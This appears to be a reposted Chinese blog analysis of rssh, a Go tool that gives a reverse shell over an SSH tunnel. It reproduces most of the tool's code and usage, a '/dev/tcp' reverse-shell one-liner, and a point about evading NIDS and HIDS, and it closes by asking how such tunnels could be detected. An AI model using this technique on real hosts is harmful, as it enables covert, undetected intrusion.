日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > linux >内容正文

linux

linux 下ssh端口反弹,利用ssh隧道反弹shell

發布時間:2025/3/20 linux 25 豆豆
生活随笔 收集整理的這篇文章主要介紹了 linux 下ssh端口反弹,利用ssh隧道反弹shell 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

說明

本文旨在分析rssh的源代碼來學習利用ssh隧道來反彈shell.整個rssh只有1個347行的main文件,所以整體的邏輯結構也比較好分析.關于SSH端口轉發的知識可以看實戰SSH端口轉發這篇文章,非常清晰.

使用ssh進行隧道的好處:

SSH 會自動加密和解密所有 SSH 客戶端與服務端之間的網絡數據,同時能夠將其他 TCP 端口的網絡數據通過 SSH 鏈接來轉發,并且自動提供了相應的加密及解密服務,這樣能夠避免被NIDS檢測到;

SSH基本上在每個機器上面存在,不需要額外的條件;

rssh的說明是:This program is a simple reverse shell over SSH. Essentially, it opens a connection to a remote computer over SSH, starts listening on a port on the remote computer, and when connections are made to that port, starts a command locally and copies data to and from it.

翻譯一下就是:rssh是一個利用SSH反彈shell的程序.原理就是通過SSH在遠程服務器上監聽一個端口,并執行遠程服務器發送過來的數據(就相當于是代碼執行了)

運行

在本地運行: go run main.go -a ‘127.0.0.1:2222’ -u user -i id_remote_rsa IP.OF.REMOTE.MACHINE 正常運行就會如下的結果:

1

2go run main.go -a '127.0.0.1:2222' -u USERNAME -p PASSWORD IP.OF.REMOTE.MACHINE

[ info ] listening for connections on IP.OF.REMOTE.MACHINE:22 (remote listen address: 127.0.0.1:2222)

此時,在服務器上面運行(IP.OF.REMOTE.MACHINE)運行 nc 127.0.0.1 2222 即可得到反彈shell.

1

2

3

4

5

6

7

8

9服務器端

$nc -c 127.0.0.1 2222

$id

uid=1000(spoock) gid=1000(spoock) groups=1000(spoock),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)

客戶端

$go run main.go -a '127.0.0.1:2222' -u USERNAME -p PASSWORD IP.OF.REMOTE.MACHINE

[ info ] listening for connections on IP.OF.REMOTE.MACHINE:22 (remote listen address: 127.0.0.1:2222)

[ info ] accepted connection from: 127.0.0.1:33016

分析

init & log1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36func init() {

// Global flags

pf := mainCommand.PersistentFlags()

pf.BoolVarP(&flagVerbose, "verbose", "v", false, "be more verbose")

pf.BoolVarP(&flagQuiet, "quiet", "q", false, "be quiet")

pf.BoolVarP(&flagTrace, "trace", "t", false, "be very verbose")

// Local flags

flags := mainCommand.Flags()

flags.StringVarP(&flagSSHUsername, "username", "u", os.Getenv("USER"),

"connect as the given user")

flags.StringVarP(&flagSSHPassword, "password", "p", "",

"use the given password to connect")

flags.StringVarP(&flagSSHIdentityFile, "identity-file", "i", "",

"use the given SSH key to connect to the remote host")

flags.StringVarP(&flagAddr, "address", "a", "localhost:8080",

"address to listen on on the remote host")

flags.StringVarP(&flagCommand, "command", "c", "/bin/sh",

"command to run")

}

func preRun(cmd *cobra.Command, args []string) {

var cl *colog.CoLog

logger, cl = makeLogger()

if flagTrace {

cl.SetMinLevel(colog.LTrace)

} else if flagVerbose {

cl.SetMinLevel(colog.LDebug)

} else if flagQuiet {

cl.SetMinLevel(colog.LWarning)

} else {

cl.SetMinLevel(colog.LInfo)

}

}

在init()函數中主要是對一些參數的解釋說明,同時也有對參數的校驗的功能.

flagVerbose flagQuiet flagTrace 三者是表示日志的詳細程度

username password identity-file 表示ssh登錄認證的方法 可以使用那個用戶名密碼的方式也可以使用是公鑰登錄

address 遠程服務器需要監聽的端口,一般寫為localhost:2222 或者是127.0.0.1:222 (寫成localhost或者是127.0.0.1)

command 默認值是/bin/sh,是用來執行命令的shell環境

runMain

runMain函數是rssh的主體.我們以go run main.go -a '127.0.0.1:2222' -u USERNAME -p PASSWORD IP.OF.REMOTE.MACHINE為例來說明參數的含義

sshHost1

2

3

4

5

6

7

8

9

10

11if len(args) != 1 {

log.Printf("error: invalid number of arguments (expected 1, got %d)", len(args))

os.Exit(1)

}

sshHost := args[0]

// Add a default ':22' after the end if we don't have a colon.

if !strings.Contains(sshHost, ":") {

sshHost += ":22"

}

判斷遠程地址需要存在,默認加上22端口.

config.Auth1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23// Password auth or prompt callback

if flagSSHPassword != "" {

log.Println("trace: adding password auth")

config.Auth = append(config.Auth, ssh.Password(flagSSHPassword))

} else {

log.Println("trace: adding password callback auth")

config.Auth = append(config.Auth, ssh.PasswordCallback(func() (string, error) {

prompt := fmt.Sprintf("%s@%s's password: ", flagSSHUsername, sshHost)

return speakeasy.Ask(prompt)

}))

}

// Key auth

if flagSSHIdentityFile != "" {

auth, err := loadPrivateKey(flagSSHIdentityFile)

if err != nil {

log.Fatalf("error: could not load identity file '%s': %s",

flagSSHIdentityFile, err)

}

log.Println("trace: adding identity file auth")

config.Auth = append(config.Auth, auth)

}

判斷是通過用戶名密碼還是publickey的方式登錄,分別進行不同的初始化的操作,config.Auth = append(config.Auth, ssh.Password(flagSSHPassword))或者是auth, err := loadPrivateKey(flagSSHIdentityFile);config.Auth = append(config.Auth, auth)

一個有意思的地方,如果是這種方式go run main.go -a ‘127.0.0.1:2222’ -u USERNAME IP.OF.REMOTE.MACHINE 參數中沒有密碼,那么最終就會執行:

1

2

3

4

5log.Println("trace: adding password callback auth")

config.Auth = append(config.Auth, ssh.PasswordCallback(func() (string, error) {

prompt := fmt.Sprintf("%s@%s's password: ", flagSSHUsername, sshHost)

return speakeasy.Ask(prompt)

}))

此時實際的運行效果是:

1

2

3

4

5go run main.go -a '127.0.0.1:2222' -u USERNAME IP.OF.REMOTE.MACHINE -t

[ trace ] adding password callback auth

[ debug ] attempting 2 authentication methods ([0x666500 0x666650])

USERNAME@IP.OF.REMOTE.MACHINE:22's password: [輸入遠程服務器SSH的密碼]

[ info ] listening for connections on IP.OF.REMOTE.MACHINE:22 (remote listen address: 127.0.0.1:2222)

這種方式通過密碼登錄的方式同樣也是可以的.

sshConn1

2

3

4

5sshConn, err := ssh.Dial("tcp", sshHost, config)

if err != nil {

log.Fatalf("error: error dialing remote host: %s", err)

}

defer sshConn.Close()

通過ssh.Dial("tcp", sshHost, config)與遠程服務器上面創建ssh鏈接.此時的網絡狀態是:

1

2

3

4

5

6ss -anptw | grep 22

tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*

tcp ESTAB 0 0 172.16.1.2:60270 IP.OF.REMOTE.MACHINE:22 users:(("main",pid=29114,fd=5))

$ps -ef | grep 29114

spoock 29114 29034 0 15:46 pts/2 00:00:00 /tmp/go-build970759084/b001/exe/main -a 127.0.0.1:2222 -u USERNAME -p PASSWORD IP.OF.REMOTE.MACHINE -t

與代碼的執行情況是一致的.

sshConn.Listen

這個就是rssh中的核心部分.代碼如下:

1

2

3

4

5// Listen on remote

l, err := sshConn.Listen("tcp", flagAddr)

if err != nil {

log.Fatalf("error: error listening on remote host: %s", err)

}

其中的flagAddr就是參數中設置的127.0.0.1:2222,這就相當于在ssh的鏈接中再次監聽了本地(此處的本地指的是服務器的地址)的2222端口.

跟著進入到ssh.Listen實現中: vendor/golang.org/x/crypto/ssh/tcpip.go

1

2

3

4

5

6

7

8

9

10

11// Listen requests the remote peer open a listening socket on

// addr. Incoming connections will be available by calling Accept on

// the returned net.Listener. The listener must be serviced, or the

// SSH connection may hang.

func (c *Client) Listen(n, addr string) (net.Listener, error) {

laddr, err := net.ResolveTCPAddr(n, addr)

if err != nil {

return nil, err

}

return c.ListenTCP(laddr)

}

這個函數的注釋:Listen()函數創建了一個TCP連接listener,這個listener必須能夠被維持,否則ssh連接就會被掛住.

進行跟蹤進入ListenTCP, vendor/golang.org/x/crypto/ssh/tcpip.go

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38// ListenTCP requests the remote peer open a listening socket

// on laddr. Incoming connections will be available by calling

// Accept on the returned net.Listener.

func (c *Client) ListenTCP(laddr *net.TCPAddr) (net.Listener, error) {

if laddr.Port == 0 && isBrokenOpenSSHVersion(string(c.ServerVersion())) {

return c.autoPortListenWorkaround(laddr)

}

m := channelForwardMsg{

laddr.IP.String(),

uint32(laddr.Port),

}

// send message

ok, resp, err := c.SendRequest("tcpip-forward", true, Marshal(&m))

if err != nil {

return nil, err

}

if !ok {

return nil, errors.New("ssh: tcpip-forward request denied by peer")

}

// If the original port was 0, then the remote side will

// supply a real port number in the response.

if laddr.Port == 0 {

var p struct {

Port uint32

}

if err := Unmarshal(resp, &p); err != nil {

return nil, err

}

laddr.Port = int(p.Port)

}

// Register this forward, using the port number we obtained.

ch := c.forwards.add(*laddr)

return &tcpListener{laddr, c, ch}, nil

}

1.合法性校驗

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18if laddr.Port == 0 && isBrokenOpenSSHVersion(string(c.ServerVersion())) {

return c.autoPortListenWorkaround(laddr)

}

func (c *Client) autoPortListenWorkaround(laddr *net.TCPAddr) (net.Listener, error) {

var sshListener net.Listener

var err error

const tries = 10

for i := 0; i < tries; i++ {

addr := *laddr

addr.Port = 1024 + portRandomizer.Intn(60000)

sshListener, err = c.ListenTCP(&addr)

if err == nil {

laddr.Port = addr.Port

return sshListener, err

}

}

return nil, fmt.Errorf("ssh: listen on random port failed after %d tries: %v", tries, err)

}

如果檢測到轉發的端口或者是openssh的版本存在問題,就會調用autoPortListenWorkaround()函數任意創建一個端口.

通過ssh轉發端口1

2

3

4

5

6

7

8

9

10

11

12m := channelForwardMsg{

laddr.IP.String(),

uint32(laddr.Port),

}

// send message

ok, resp, err := c.SendRequest("tcpip-forward", true, Marshal(&m))

if err != nil {

return nil, err

}

if !ok {

return nil, errors.New("ssh: tcpip-forward request denied by peer")

}

關鍵代碼就是c.SendRequest(“tcpip-forward”, true, Marshal(&m))通過ssh的tcpip-forward轉發m(m中有需要轉發的端口和協議)

返回Listener1

2

3

4// Register this forward, using the port number we obtained.

ch := c.forwards.add(*laddr)

return &tcpListener{laddr, c, ch}, nil

在創建了連接完畢之后,服務器端的網絡狀態是:

1

2

3

4

5$ ss -anptw | grep 2222

tcp LISTEN 0 128 127.0.0.1:2222 *:*

$ ss -anptw | grep 22

tcp ESTAB 0 0 172.27.0.12:22 222.64.99.149:2279

利用發現此時遠程服務器會監聽在2222端口上,同時也存在了一條ssh的網絡鏈接.

Accept1

2

3

4

5

6

7

8

9

10

11

12// Start accepting shell connections

log.Printf("info: listening for connections on %s (remote listen address: %s)", sshHost, flagAddr)

for {

conn, err := l.Accept()

if err != nil {

log.Printf("error: error accepting connection: %s", err)

continue

}

log.Printf("info: accepted connection from: %s", conn.RemoteAddr())

go handleConnection(conn)

}

通過 l, err := sshConn.Listen(“tcp”, flagAddr)得到ssh轉發的連接之后,開始進行監聽conn, err := l.Accept().對于建立之后的連接使用handleConnection()處理

handleConnection

由于整個handleConnection()的整個函數較長,分部對其中的代碼進行分析.

Create PTY1

2

3

4

5

6

7

8

9

10

11

12

13

14// Create PTY

pty, tty, err := pty.Open()

if err != nil {

log.Printf("error: could not open PTY: %s", err)

return

}

defer tty.Close()

defer pty.Close()

// Put the TTY into raw mode

_, err = terminal.MakeRaw(int(tty.Fd()))

if err != nil {

log.Printf("warn: could not make TTY raw: %s", err)

}

創建一個pty,用于執行從遠程服務器上面發送過來的數據.

command1

2

3

4

5

6

7

8

9

10

11

12

13

14

15// Start the command

cmd := exec.Command(flagCommand) //flagCommand:/bin/sh

// Hook everything up

cmd.Stdout = tty

cmd.Stdin = tty

cmd.Stderr = tty

if cmd.SysProcAttr == nil {

cmd.SysProcAttr = &syscall.SysProcAttr{}

}

cmd.SysProcAttr.Setctty = true

cmd.SysProcAttr.Setsid = true

// Start command

err = cmd.Start()

上面這段代碼就相當與創建了一個交互式的反彈shell,類似與bash -i >& /dev/tcp/ip/port 0>&1

在客戶端創建完畢鏈接之后,在服務器端運行 nc -c 127.0.0.1 2222,連接到本地的2222端口.此時服務器的網絡狀態是:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16ss -anptw | grep 2222

tcp LISTEN 0 128 127.0.0.1:2222 *:*

tcp ESTAB 0 0 127.0.0.1:59070 127.0.0.1:2222 users:(("nc",pid=13449,fd=3))

tcp ESTAB 0 0 127.0.0.1:2222 127.0.0.1:59070

$ps -ef | grep 13449

USERNAME 13449 2642 0 17:12 pts/2 00:00:00 nc -c 127.0.0.1 2222

$ls -al /proc/13449/fd

total 0

dr-x------ 2 USERNAME USERNAME 0 Jun 18 17:12 .

dr-xr-xr-x 9 USERNAME USERNAME 0 Jun 18 17:12 ..

lrwx------ 1 USERNAME USERNAME 64 Jun 18 17:12 0 -> /dev/pts/2

lrwx------ 1 USERNAME USERNAME 64 Jun 18 17:12 1 -> /dev/pts/2

lrwx------ 1 USERNAME USERNAME 64 Jun 18 17:12 2 -> /dev/pts/2

lrwx------ 1 USERNAME USERNAME 64 Jun 18 17:12 3 -> socket:[169479331]

可以發現在服務器端的59070連接了2222端口,進程是13449.由于從客戶端接受過來的數據都是經過ssh解密的,所以對于HIDS來說是很難發現異常的.

此時客戶端的網絡連接狀態是:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30$ss -anptw | grep 22

tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*

tcp ESTAB 0 0 172.16.1.2:41424 40.77.226.250:443 users:(("code",pid=5822,fd=49))

tcp ESTAB 0 0 172.16.1.2:37930 40.77.226.250:443 users:(("code",pid=5822,fd=41))

tcp ESTAB 0 0 172.16.1.2:33198 IP.OF.REMOTE.MACHINE:22 users:(("main",pid=32069,fd=5))

tcp ESTAB 0 0 172.16.1.2:57664 40.77.226.250:443 users:(("code",pid=5822,fd=40))

tcp LISTEN 0 128 [::]:22 [::]:*

$ps -ef | grep 32393

spoock 32393 32069 0 17:12 pts/4 00:00:00 /bin/sh

$ls -al /proc/32393/fd

dr-x------ 2 spoock spoock 0 Jun 18 17:15 .

dr-xr-xr-x 9 spoock spoock 0 Jun 18 17:15 ..

lrwx------ 1 spoock spoock 64 Jun 18 17:15 0 -> /dev/pts/4

lrwx------ 1 spoock spoock 64 Jun 18 17:15 1 -> /dev/pts/4

lrwx------ 1 spoock spoock 64 Jun 18 17:15 10 -> /dev/tty

lrwx------ 1 spoock spoock 64 Jun 18 17:15 2 -> /dev/pts/4

$ls -al /proc/32069/fd

dr-x------ 2 spoock spoock 0 Jun 18 17:01 .

dr-xr-xr-x 9 spoock spoock 0 Jun 18 17:01 ..

lrwx------ 1 spoock spoock 64 Jun 18 17:01 0 -> /dev/pts/2

lrwx------ 1 spoock spoock 64 Jun 18 17:01 1 -> /dev/pts/2

lrwx------ 1 spoock spoock 64 Jun 18 17:01 2 -> /dev/pts/2

lrwx------ 1 spoock spoock 64 Jun 18 17:01 3 -> 'socket:[559692]'

lrwx------ 1 spoock spoock 64 Jun 18 17:01 4 -> 'anon_inode:[eventpoll]'

lrwx------ 1 spoock spoock 64 Jun 18 17:01 5 -> 'socket:[559693]'

lrwx------ 1 spoock spoock 64 Jun 18 17:15 6 -> /dev/ptmx

lrwx------ 1 spoock spoock 64 Jun 18 17:15 7 -> /dev/pts/4

客戶端的含義就是:在ssh連接進程中派生出了sh進程,在sh進程中執行命令,但是由于執行的命令全部都是通過ssh加密發送的,在流量上是無法看到.

以上就是整個rssh的源代碼的分析了

總結

本文通過對rssh的分析,對ssh的端口轉發有了一個清晰的認識,同時對如何利用ssh隧道完成端口轉發也有了一定的了解。通過ssh隧道來實現入侵,能夠很好地隱藏自己的攻擊行為,傳統的HIDS和NIDS也很難檢測到對應的入侵行為。那么有什么方法能夠檢測出這種利用ssh隧道的入侵行為呢?如果有任何的想法歡迎大家與我交流。

以上

總結

以上是生活随笔為你收集整理的linux 下ssh端口反弹,利用ssh隧道反弹shell的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。